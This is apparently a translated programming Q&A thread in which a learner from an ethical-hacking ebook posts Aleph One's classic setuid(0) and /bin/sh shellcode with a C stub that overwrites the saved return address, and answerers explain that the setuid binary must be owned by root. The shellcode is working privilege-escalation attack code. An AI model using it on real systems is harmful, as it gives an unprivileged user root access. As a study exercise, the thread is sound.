我有这个代码......道德黑客

0xa*_*b3d 0 c linux shellcode

我正在关注这本关于道德黑客的电子书,我到了Linux Exploit Chapter,这是Aleph的1代码的代码.

//shellcode.c

char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { //main function

    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return

    //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the

    //address of the shellcode, so it executes.

}
Run Code Online (Sandbox Code Playgroud)

我给这个超级用户权限,用

chmod u+s shellcode
Run Code Online (Sandbox Code Playgroud)

作为超级用户,然后回到普通用户

su - normal_user
Run Code Online (Sandbox Code Playgroud)

但是当我运行时./shellcode我应该是root用户但是我仍然是normal_user所以任何帮助?顺便说一句,我正在研究BT4-Final,我关闭了ASLR,并在VMWare中运行BT4 ......

for*_*ran 9

如果这是一个旧的漏洞利用......它不应该早就解决了吗?

顺便说一下,作为一个个人建议:不要吝啬使用这个昵称,然后四处询问漏洞.

捂脸

  • @kmitnick我评论我喜欢的任何东西,如果你对此不满意,你可以自由选择. (2认同)

Tyl*_*nry 6

shellcoderoot 是否拥有可执行文件?setuid位(u + s)使可执行文件以其所有者的权限运行,该所有者不一定是root用户.

  • 是的,这是事实.这个演示的重点是普通用户可以利用setuid root的可执行文件中的缺陷来获取root权限.但是,执行程序仍然必须由root拥有*才能使用.如果在没有root可拥有的可执行文件的情况下以这种方式获取root权限,那么世界上的每个系统都可以被任何有权访问编译器的人立即接管. (4认同)
  • 我认为重点是shell代码由非特权用户运行,*获得*root. (3认同)